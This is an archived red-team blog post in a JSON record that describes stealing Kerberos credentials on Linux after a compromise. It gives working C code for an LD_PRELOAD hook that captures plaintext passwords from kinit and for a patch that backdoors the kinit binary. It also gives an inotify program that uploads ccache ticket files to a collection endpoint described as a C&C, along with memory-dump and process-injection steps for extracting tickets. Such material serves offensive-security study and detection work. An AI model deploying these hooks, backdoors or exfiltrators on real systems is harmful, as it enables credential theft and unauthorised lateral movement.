{
	"id": "c5f1a475-00c1-4aaf-be80-e6cc679c70f0",
	"created_at": "2026-04-06T00:19:45.521081Z",
	"updated_at": "2026-04-10T03:21:25.337334Z",
	"deleted_at": null,
	"sha1_hash": "f64cf4096174b643326adacc4f6ce596b3155e98",
	"title": "The Kerberos Credential Thievery Compendium (GNU/Linux) |",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 145030,
	"plain_text": "The Kerberos Credential Thievery Compendium (GNU/Linux) |\r\nPublished: 2021-01-28 · Archived: 2026-04-05 14:48:34 UTC\r\nDear Fellowlship, today’s homily is a compendium of well-known techniques used in GNU/Linux to steal\r\nkerberos credentials during post-exploitation stages. Please, take a seat and listen to the story.\r\nThe techniques discussed in this article are based on the paper Kerberos Credential Thievery (GNU/Linux)\r\n(2017). The approximation of using inotify to steal ccache files, the injection into process to extract tickets from\r\nthe kernel keyring and the usage of LD_PRELOAD have been used by us in real engagements. The rest has been just\r\ntested on lab environments.\r\nThe art of hooking (I): LD_PRELOAD\r\nThe first approach that we are going to focus is the usage of LD_PRELOAD to hook functions related to kerberos, so\r\nwe can deploy a custom shared object destined to steal plaintext credentials from those programs using kerberos\r\nauthentication.\r\nWe can check kinit to locate what functions are susceptible to contain such information:\r\n➜ working$ ltrace kinit Administrador@ACUARIO.LOCAL\r\nsetlocale(LC_ALL, \"\")\r\nstrrchr(\"kinit\", '/')\r\nfileno(0x7fd428706a00)\r\nisatty(0)\r\nfileno(0x7fd428707760)\r\nisatty(1)\r\nfileno(0x7fd428707680)\r\nisatty(2)\r\nset_com_err_hook(0x564277f1d4b0, 0, 0, 0)\r\ngetopt_long(2, 0x7ffd392b9318, \"r:fpFPn54aAVl:s:c:kit:T:RS:vX:CE\"..., 0x7ffd392b9090, nil)\r\nkrb5_init_context(0x7ffd392b8f50, 0, 1, 0)\r\nkrb5_cc_default(0x5642792154a0, 0x7ffd392b8f30, 1, 0)\r\nkrb5_cc_get_type(0x5642792154a0, 0x5642792156c0, 0x7fd428bdea40, 0)\r\nkrb5_cc_get_principal(0x5642792154a0, 0x5642792156c0, 0x7ffd392b8f38, 0)\r\nkrb5_parse_name_flags(0x5642792154a0, 0x7ffd392bb329, 0, 0x7ffd392b8f68)\r\nkrb5_cc_support_switch(0x5642792154a0, 0x7fd4289bf254, 0x7ffd392bb344, 13)\r\nkrb5_unparse_name(0x5642792154a0, 0x564279216d70, 0x7ffd392b8f70, 0)\r\nkrb5_free_principal(0x5642792154a0, 0x564279216ce0, 0, 0)\r\nkrb5_get_init_creds_opt_alloc(0x5642792154a0, 0x7ffd392b8f40, 0x564279214010, 0)\r\nkrb5_get_init_creds_opt_set_out_ccache(0x5642792154a0, 0x564279216e30, 0x5642792156c0, 0x564279216e80)\r\nkrb5_get_init_creds_password(0x5642792154a0, 0x7ffd392b8f80, 0x564279216d70, 0 \u003cunfinished ...\u003e\r\nkrb5_get_prompt_types(0x5642792154a0, 0x7ffd392b8f30, 0, 0)\r\nkrb5_prompter_posix(0x5642792154a0, 0x7ffd392b8f30, 0, 0Password for Administrador@ACUARIO.LOCAL:\r\nhttps://adepts.of0x.cc/kerberos-thievery-linux/\r\nPage 1 of 12\n\n)\r\n\u003c... krb5_get_init_creds_password resumed\u003e )\r\nkadm5_destroy(0, 0, 0, 3)\r\nkrb5_get_init_creds_opt_free(0x5642792154a0, 0x564279216e30, 0, 3)\r\nkrb5_free_cred_contents(0x5642792154a0, 0x7ffd392b8f80, 0x564279214010, 3)\r\nkrb5_free_unparsed_name(0x5642792154a0, 0x564279216e00, 0x7fd428706ca0, 464)\r\nkrb5_free_principal(0x5642792154a0, 0x564279216d70, 0x56427921c3d0, 1)\r\nkrb5_cc_close(0x5642792154a0, 0x5642792156c0, 0x564279216df0, 1)\r\nkrb5_free_context(0x5642792154a0, 0, 0x564279215c10, 0)\r\n+++ exited (status 0) +++\r\nThe functions krb5_get_init_creds_password and krb5_prompter_posix look interesting. The first is defined\r\nas:\r\nkrb5_error_code KRB5_CALLCONV\r\nkrb5_get_init_creds_password(krb5_context context,\r\n krb5_creds *creds,\r\n krb5_principal client,\r\n const char *password,\r\n krb5_prompter_fct prompter,\r\n void *data,\r\n krb5_deltat start_time,\r\n const char *in_tkt_service,\r\n krb5_get_init_creds_opt *options)\r\nAs we can see this function has an argument “password” that is a pointer to a string, but as the documentation\r\nstates this value can be null (in which case a prompt is called, like is doing in kinit ). This function also uses a\r\npointer to a krb5_creds struct that is defined as:\r\ntypedef struct _krb5_creds {\r\n krb5_magic magic;\r\n krb5_principal client; /**\u003c client's principal identifier */\r\n krb5_principal server; /**\u003c server's principal identifier */\r\n krb5_keyblock keyblock; /**\u003c session encryption key info */\r\n krb5_ticket_times times; /**\u003c lifetime info */\r\n krb5_boolean is_skey; /**\u003c true if ticket is encrypted in\r\n another ticket's skey */\r\n krb5_flags ticket_flags; /**\u003c flags in ticket */\r\n krb5_address **addresses; /**\u003c addrs in ticket */\r\n krb5_data ticket; /**\u003c ticket string itself */\r\n krb5_data second_ticket; /**\u003c second ticket, if related to\r\n ticket (via DUPLICATE-SKEY or\r\n ENC-TKT-IN-SKEY) */\r\n krb5_authdata **authdata; /**\u003c authorization data */\r\n} krb5_creds;\r\nhttps://adepts.of0x.cc/kerberos-thievery-linux/\r\nPage 2 of 12\n\nSo we can get the username and (if set) the password used to authenticate. If the password is not provided, we\r\nneed to check how the prompt is used. The function krb5_prompter_posix is defined as:\r\nkrb5_error_code KRB5_CALLCONV\r\nkrb5_prompter_posix(\r\n krb5_context context,\r\n void *data,\r\n const char *name,\r\n const char *banner,\r\n int num_prompts,\r\n krb5_prompt prompts[])\r\nThe source code is easy to understand:\r\n int fd, i, scratchchar;\r\n FILE *fp;\r\n char *retp;\r\n krb5_error_code errcode;\r\n struct termios saveparm;\r\n osiginfo osigint;\r\n errcode = KRB5_LIBOS_CANTREADPWD;\r\n if (name) {\r\n fputs(name, stdout);\r\n fputs(\"\\n\", stdout);\r\n }\r\n if (banner) {\r\n fputs(banner, stdout);\r\n fputs(\"\\n\", stdout);\r\n }\r\n /*\r\n * Get a non-buffered stream on stdin.\r\n */\r\n fp = NULL;\r\n fd = dup(STDIN_FILENO);\r\n if (fd \u003c 0)\r\n return KRB5_LIBOS_CANTREADPWD;\r\n set_cloexec_fd(fd);\r\n fp = fdopen(fd, \"r\");\r\n if (fp == NULL)\r\n goto cleanup;\r\n if (setvbuf(fp, NULL, _IONBF, 0))\r\n goto cleanup;\r\nhttps://adepts.of0x.cc/kerberos-thievery-linux/\r\nPage 3 of 12\n\nfor (i = 0; i \u003c num_prompts; i++) {\r\n errcode = KRB5_LIBOS_CANTREADPWD;\r\n /* fgets() takes int, but krb5_data.length is unsigned. */\r\n if (prompts[i].reply-\u003elength \u003e INT_MAX)\r\n goto cleanup;\r\n errcode = setup_tty(fp, prompts[i].hidden, \u0026saveparm, \u0026osigint);\r\n if (errcode)\r\n break;\r\n /* put out the prompt */\r\n (void)fputs(prompts[i].prompt, stdout);\r\n (void)fputs(\": \", stdout);\r\n (void)fflush(stdout);\r\n (void)memset(prompts[i].reply-\u003edata, 0, prompts[i].reply-\u003elength);\r\n got_int = 0;\r\n retp = fgets(prompts[i].reply-\u003edata, (int)prompts[i].reply-\u003elength,\r\n fp);\r\n if (prompts[i].hidden)\r\n putchar('\\n');\r\n if (retp == NULL) {\r\n if (got_int)\r\n errcode = KRB5_LIBOS_PWDINTR;\r\n else\r\n errcode = KRB5_LIBOS_CANTREADPWD;\r\n restore_tty(fp, \u0026saveparm, \u0026osigint);\r\n break;\r\n }\r\n /* replace newline with null */\r\n retp = strchr(prompts[i].reply-\u003edata, '\\n');\r\n if (retp != NULL)\r\n *retp = '\\0';\r\n else {\r\n /* flush rest of input line */\r\n do {\r\n scratchchar = getc(fp);\r\n } while (scratchchar != EOF \u0026\u0026 scratchchar != '\\n');\r\n }\r\n errcode = restore_tty(fp, \u0026saveparm, \u0026osigint);\r\n if (errcode)\r\n break;\r\n prompts[i].reply-\u003elength = strlen(prompts[i].reply-\u003edata);\r\n }\r\ncleanup:\r\nhttps://adepts.of0x.cc/kerberos-thievery-linux/\r\nPage 4 of 12\n\nif (fp != NULL)\r\n fclose(fp);\r\n else if (fd \u003e= 0)\r\n close(fd);\r\n return errcode;\r\n}\r\nAs we can see this function receives an array of prompts and then use fgets() to read data from a duped STDIN\r\nto store the password in a krb5_data field inside krb5_prompt structure. So we only need to hook this function\r\ntoo and check those structures to get the cleartext password.\r\nFinally our hook is:\r\n#define _GNU_SOURCE\r\n#include \u003cstdio.h\u003e\r\n#include \u003cdlfcn.h\u003e\r\n#include \u003ckrb5/krb5.h\u003e\r\ntypedef krb5_error_code (*orig_ftype)(krb5_context context, krb5_creds * creds, krb5_principal client, const ch\r\ntypedef krb5_error_code KRB5_CALLCONV (*orig_ftype_2)(krb5_context context, void *data, const char *name, const\r\nkrb5_error_code krb5_get_init_creds_password(krb5_context context, krb5_creds * creds, krb5_principal client, co\r\n krb5_error_code retval;\r\n orig_ftype orig_krb5;\r\n orig_krb5 = (orig_ftype)dlsym(RTLD_NEXT, \"krb5_get_init_creds_password\");\r\n if (password != NULL) {\r\n printf(\"[+] Password %s\\n\", password);\r\n }\r\n retval = orig_krb5(context, creds, client, password, prompter, data, start_time, in_tkt_service, k5_gic_opti\r\n if (retval == 0) {\r\n printf(\"[+] Username: %s\\n\", creds-\u003eclient-\u003edata-\u003edata);\r\n }\r\n return retval;\r\n}\r\nkrb5_error_code KRB5_CALLCONV krb5_prompter_posix(krb5_context context, void *data, const char *name, const char\r\n krb5_error_code retval;\r\n orig_ftype_2 orig_krb5;\r\n orig_krb5 = (orig_ftype_2)dlsym(RTLD_NEXT, \"krb5_prompter_posix\");\r\n retval = orig_krb5(context, data, name, banner, num_prompts,prompts);\r\n for (int i = 0; i \u003c num_prompts; i++) {\r\n if ((int)prompts[i].reply-\u003elength \u003e 0) {\r\n printf(\"[+] Password: %s\\n\", prompts[i].reply-\u003edata);\r\n }\r\nhttps://adepts.of0x.cc/kerberos-thievery-linux/\r\nPage 5 of 12\n\n}\r\n return retval;\r\n}\r\nLet’s check it:\r\n➜ working$ LD_PRELOAD=/home/vagrant/working/hook_preload.so kinit Administrador@ACUARIO.LOCAL\r\nPassword for Administrador@ACUARIO.LOCAL:\r\n[+] Password: MightyPassword.69\r\n[+] Username: Administrador\r\nThe art of hooking (II): binary patching\r\nAnother option can be to sustitute a target binary (or a lib) with one backdoored by us. This can be done throught\r\nthe compilation of a modified version or patching the original. In our case we are going to patch a binary (kinit,\r\nfor example) with a simple hook using the project GLORYhook that uses LIEF, Capstone and Keystone under the\r\nhood to simplify the process.\r\nTo not repeat the same hook this time we are going to patch kinit so it now will print the keyblock and ticket data\r\nafter a succesfull authentication:\r\n #define _GNU_SOURCE\r\n #include \u003cstdio.h\u003e\r\n #include \u003ckrb5/krb5.h\u003e\r\n #include \u003cstring.h\u003e\r\n \r\n krb5_error_code gloryhook_krb5_get_init_creds_password(krb5_context context, krb5_creds * creds, krb5_principal\r\n krb5_error_code retval;\r\n \r\n retval = krb5_get_init_creds_password(context, creds, client, password, prompter, data, start_time, in_tkt_\r\n if (retval == 0){\r\n printf(\"[+] Keyblock (%08jx):\\n\", (uintmax_t)creds-\u003ekeyblock.enctype);\r\n for (int i = 0; i \u003c creds-\u003ekeyblock.length; i++) {\r\n printf(\"%02X\", (unsigned char)creds-\u003ekeyblock.contents[i]);\r\n }\r\n printf(\"\\n[+] Ticket:\\n\");\r\n for (int i = 0; i \u003c creds-\u003eticket.length; i++) {\r\n printf(\"%02X\", (unsigned char)creds-\u003eticket.data[i]);\r\n }\r\n }\r\n return retval;\r\n }\r\nJust compile it using the instructions provided by GLORYhook in its readme and test it:\r\nhttps://adepts.of0x.cc/kerberos-thievery-linux/\r\nPage 6 of 12\n\n➜ working$ gcc -shared -zrelro -znow -fPIC hook-patch.c -o hook_patch.so\r\n➜ working$ python3 GLORYHook/glory.py /usr/bin/kinit ./hook_patch.so -o ./kinit-backdoored\r\n[+] Beginning merge!\r\n[+] Injecting new PLT\r\n[+] Extending GOT for new PLT\r\n[+] Fixing injected PLT\r\n[+] Injecting PLT relocations\r\n[+] Done!\r\n➜ working$ ./kinit-backdoored administrador@ACUARIO.LOCAL\r\nPassword for administrador@ACUARIO.LOCAL:\r\n[+] Keyblock (00000012):\r\nE8B9D14EDC610C496A2B0426DDDACFA9AA52501A5998A1F1AF44644FF7F117DC\r\n[+] Ticket:\r\n6182046F3082046BA003020105A10F1B0D4143554152494F2E4C4F43414CA2223020A003020102A11930171B066B72627467741B0D414355\r\nPlaying with the ccache (I): files\r\nThe most common way to save kerberos tickets in linux environments is with ccache files. The ccache files by\r\ndefault are in /tmp with a format name like krb5cc_%UID% and they can be used directly by the majority of tools\r\nbased in the Impacket Framework, so we can read the file contents to move laterally (or even to escalate privileges\r\nif we are lucky enough to get a TGT from a privileged user) and execute commands via\r\npsexec.py/smbexec.py/etc. But if no valid tickets are found (they have a lifetime relatively short) we can wait and\r\nset an inotify watcher to detect every new generated ticket and forward them to our C\u0026C via https/dns/any-covert-channel.\r\n// Example based on https://www.lynxbee.com/c-program-to-monitor-and-notify-changes-in-a-directory-file-using-i\r\n// Originally this code was posted by our owl @TheXC3LL at his own blog (https://x-c3ll.github.io/posts/rethinki\r\n#define _GNU_SOURCE\r\n#include \u003cstdio.h\u003e\r\n#include \u003cstdlib.h\u003e\r\n#include \u003cerrno.h\u003e\r\n#include \u003csys/types.h\u003e\r\n#include \u003csys/inotify.h\u003e\r\n#include \u003csys/stat.h\u003e\r\n#include \u003climits.h\u003e\r\n#include \u003cunistd.h\u003e\r\n#include \u003cfcntl.h\u003e\r\n#include \u003ccurl/curl.h\u003e\r\n#define MAX_EVENTS 1024 /*Max. number of events to process at one go*/\r\n#define LEN_NAME 1024 /*Assuming length of the filename won't exceed 16 bytes*/\r\n#define EVENT_SIZE ( sizeof (struct inotify_event) ) /*size of one event*/\r\n#define BUF_LEN ( MAX_EVENTS * ( EVENT_SIZE + LEN_NAME ) ) /*buffer to store the data of events*/\r\nhttps://adepts.of0x.cc/kerberos-thievery-linux/\r\nPage 7 of 12\n\n#define endpoint \"http://localhost:4444\"\r\nint exfiltrate(char* filename) {\r\n CURL *curl;\r\n CURLcode res;\r\n struct stat file_info;\r\n FILE *fd;\r\n fd = fopen(filename, \"rb\");\r\n if(!fd){\r\n return -1;\r\n }\r\n if(fstat(fileno(fd), \u0026file_info) != 0) {\r\n return -1;\r\n }\r\n curl = curl_easy_init();\r\n if (curl){\r\n curl_easy_setopt(curl, CURLOPT_URL, endpoint);\r\n curl_easy_setopt(curl, CURLOPT_UPLOAD, 1L);\r\n curl_easy_setopt(curl, CURLOPT_READDATA, fd);\r\n res = curl_easy_perform(curl);\r\n if (res != CURLE_OK) {\r\n return -1;\r\n }\r\n curl_easy_cleanup(curl);\r\n }\r\n fclose(fd);\r\n return 0;\r\n}\r\nint main(int argc, char **argv){\r\n int length, i= 0, wd;\r\n int fd;\r\n char buffer[BUF_LEN];\r\n char *ticketloc = NULL;\r\n printf(\"[Kerberos ccache exfiltrator PoC]\\n\\n\");\r\n \r\n //Initiate inotify\r\n if ((fd = inotify_init()) \u003c 0) {\r\n printf(\"Could not initiate inotify!!\\n\");\r\n return -1;\r\n }\r\n //Add a watcher for the creation or modification of files at /tmp folder\r\n if ((wd = inotify_add_watch(fd, \"/tmp\", IN_CREATE | IN_MODIFY)) == -1) {\r\n printf(\"Could not add a watcher!!\\n\");\r\nhttps://adepts.of0x.cc/kerberos-thievery-linux/\r\nPage 8 of 12\n\nreturn -2;\r\n }\r\n //Main loop\r\n while(1) {\r\n i = 0;\r\n length = read(fd, buffer, BUF_LEN);\r\n if (length \u003c 0) {\r\n return -3;\r\n }\r\n while (i \u003c length) {\r\n struct inotify_event *event = (struct inotify_event *)\u0026buffer[i];\r\n if (event-\u003elen) {\r\n //Check for prefix\r\n if (strncmp(event-\u003ename, \"krb5cc_\", strlen(\"krb5cc_\")) == 0){\r\n printf(\"New cache file found! (%s)\", event-\u003ename);\r\n asprintf(\u0026ticketloc, \"/tmp/%s\",event-\u003ename);\r\n //Forward it to us\r\n if (exfiltrate(ticketloc) != 0) {\r\n printf(\" - Failed!\\n\");\r\n }\r\n else {\r\n printf(\" - Exfiltrated!\\n\");\r\n }\r\n free(ticketloc);\r\n }\r\n i += EVENT_SIZE + event-\u003elen;\r\n }\r\n }\r\n }\r\n}\r\nPlaying with the ccache (II): memory dumps\r\nIf the ticket is only cached by the process (because no other process needs to access to it) it is posible to retrieve it\r\nfrom a memory dump. In the paper that we mentioned earlier (Kerberos Credential Thievery (GNU/Linux)) they\r\nfollow an approach based on scanning the dumped memory by an sliding window with the size of the keyblock\r\nand ticket and then calculate the entropy of those frames to find plausible candidates. With the candidates a ccache\r\nfile is recreated and tried until all posibilities are emptied.\r\nIn our humble opinion this method is a bit overkill and convoluted. A far more simple technique can be to scan the\r\ndumped memory to find a pattern inside the krb5_creds structure and then locate the pointers to the keyblock\r\nand ticket, extract them and create a ccache file. Let’s explain it.\r\nhttps://adepts.of0x.cc/kerberos-thievery-linux/\r\nPage 9 of 12\n\nAs we said before a krb5_creds structure has this definition:\r\ntypedef struct _krb5_creds {\r\n krb5_magic magic;\r\n krb5_principal client; /**\u003c client's principal identifier */\r\n krb5_principal server; /**\u003c server's principal identifier */\r\n krb5_keyblock keyblock; /**\u003c session encryption key info */\r\n krb5_ticket_times times; /**\u003c lifetime info */\r\n krb5_boolean is_skey; /**\u003c true if ticket is encrypted in\r\n another ticket's skey */\r\n krb5_flags ticket_flags; /**\u003c flags in ticket */\r\n krb5_address **addresses; /**\u003c addrs in ticket */\r\n krb5_data ticket; /**\u003c ticket string itself */\r\n krb5_data second_ticket; /**\u003c second ticket, if related to\r\n ticket (via DUPLICATE-SKEY or\r\n ENC-TKT-IN-SKEY) */\r\n krb5_authdata **authdata; /**\u003c authorization data */\r\n} krb5_creds;\r\nAnd krb5_keyblock is defined as:\r\ntypedef struct _krb5_keyblock {\r\n krb5_magic magic;\r\n krb5_enctype enctype;\r\n unsigned int length;\r\n krb5_octet *contents;\r\n} krb5_keyblock;\r\nIf everything is ok the magic value will be zero, and the enctype is a known value based on the encryption used\r\n(for example, 0x17 is rc4-hmac, 0x12 is aes256-sha1, etc.) so only a small subset of values are valid (indeed you\r\ncan find all here, there are less than 20) and the keyblock size is fixed (it will be only a well-known value like 32\r\nbytes). If we translate this structure to the memory layout we are going to have a structure that starts with\r\n00000000 XX000000 YY00000000000000 , being XX the enctype and YY the length. So, for example, if we request\r\na ticket with aes256-sha1 our krb5_keyblock structure will start with 00000000120000002000000000000000 . And\r\nthis is a pattern that we can use as reference :)\r\npwndbg\u003e search -x \"00000000120000002000000000000000\"\r\n[stack] 0x7fffffffdb78 0x1200000000\r\nHere is the beginning of our krb5_block (that is inside the krb5_creds ). So, at this address plus 16 bytes, is the\r\npointer to the keyblock contents ( krb5_octet *contents ):\r\npwndbg\u003e x/1g 0x7fffffffdb78+16\r\nhttps://adepts.of0x.cc/kerberos-thievery-linux/\r\nPage 10 of 12\n\n0x7fffffffdb88: 0x000055555956f3e0\r\nSo now we can retrieve the the keyblock content:\r\npwndbg\u003e x/4g 0x000055555956f3e0\r\n0x55555956f3e0: 0x77a5e74f160548a7 0x49980e2202bb7c46\r\n0x55555956f3f0: 0x6e2d067a19e01e0d 0x79a3a2f8503cd0d0\r\nIf we recall the krb5_creds uses a krb5_data structure to hold the ticket information (magic, length and\r\npointer to the ticket itself). This pointer to the ticket data is at our pattern plus 64 bytes:\r\npwndbg\u003e x/1g 0x7fffffffdb78+64\r\n0x7fffffffdbb8: 0x000055555956ea00\r\nAnd finally our desired ticket:\r\npwndbg\u003e x/100x 0x000055555956ea00\r\n0x55555956ea00: 0x61 0x82 0x04 0x6f 0x30 0x82 0x04 0x6b\r\n0x55555956ea08: 0xa0 0x03 0x02 0x01 0x05 0xa1 0x0f 0x1b\r\n0x55555956ea10: 0x0d 0x41 0x43 0x55 0x41 0x52 0x49 0x4f\r\n0x55555956ea18: 0x2e 0x4c 0x4f 0x43 0x41 0x4c 0xa2 0x22\r\n0x55555956ea20: 0x30 0x20 0xa0 0x03 0x02 0x01 0x02 0xa1\r\n0x55555956ea28: 0x19 0x30 0x17 0x1b 0x06 0x6b 0x72 0x62\r\n0x55555956ea30: 0x74 0x67 0x74 0x1b 0x0d 0x41 0x43 0x55\r\n...\r\nThe size is located just before the pointer, so you can retrieve it to know how much memory to dump.\r\nPlaying with the ccache (III): kernel keyrings\r\nPrograms can use in-kernel storage inside keyrings because it offers far more proteccion than the storage via\r\nccache files. This kind of storage has the advantage that only the user can acces to this information via keyctl .\r\nTo thief those juicy tickets we can inject a small stub of code inside processes owned by each user in the\r\ncompromised machine, and this code will ask the tickets. Easy peasy!\r\nOur friend @Zer1t0 developed a tool called Tickey that does all this job for us:\r\n➜ working# /tmp/tickey -i\r\n[*] krb5 ccache_name = KEYRING:session:sess_%{uid}\r\n[+] root detected, so... DUMP ALL THE TICKETS!!\r\n[*] Trying to inject in vagrant[1000] session...\r\n[+] Successful injection at process 15547 of vagrant[1000],look for tickets in /tmp/__krb_1000.ccache\r\n[*] Trying to inject in pelagia[1120601337] session...\r\n[+] Successful injection at process 58779 of pelagia[1120601337],look for tickets in /tmp/__krb_1120601337.ccach\r\nhttps://adepts.of0x.cc/kerberos-thievery-linux/\r\nPage 11 of 12\n\n[*] Trying to inject in aurelia[1120601122] session...\r\n[+] Successful injection at process 15540 of aurelia[1120601122],look for tickets in /tmp/__krb_1120601122.ccach\r\n[X] [uid:0] Error retrieving tickets\r\nEoF\r\nWe hope you enjoyed this reading! Feel free to give us feedback at our twitter @AdeptsOf0xCC.\r\nSource: https://adepts.of0x.cc/kerberos-thievery-linux/\r\nhttps://adepts.of0x.cc/kerberos-thievery-linux/\r\nPage 12 of 12",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"references": [
		"https://adepts.of0x.cc/kerberos-thievery-linux/"
	],
	"report_names": [
		"kerberos-thievery-linux"
	],
	"threat_actors": [],
	"ts_created_at": 1775434785,
	"ts_updated_at": 1775791285,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/f64cf4096174b643326adacc4f6ce596b3155e98.pdf",
		"text": "https://archive.orkl.eu/f64cf4096174b643326adacc4f6ce596b3155e98.txt",
		"img": "https://archive.orkl.eu/f64cf4096174b643326adacc4f6ce596b3155e98.jpg"
	}
}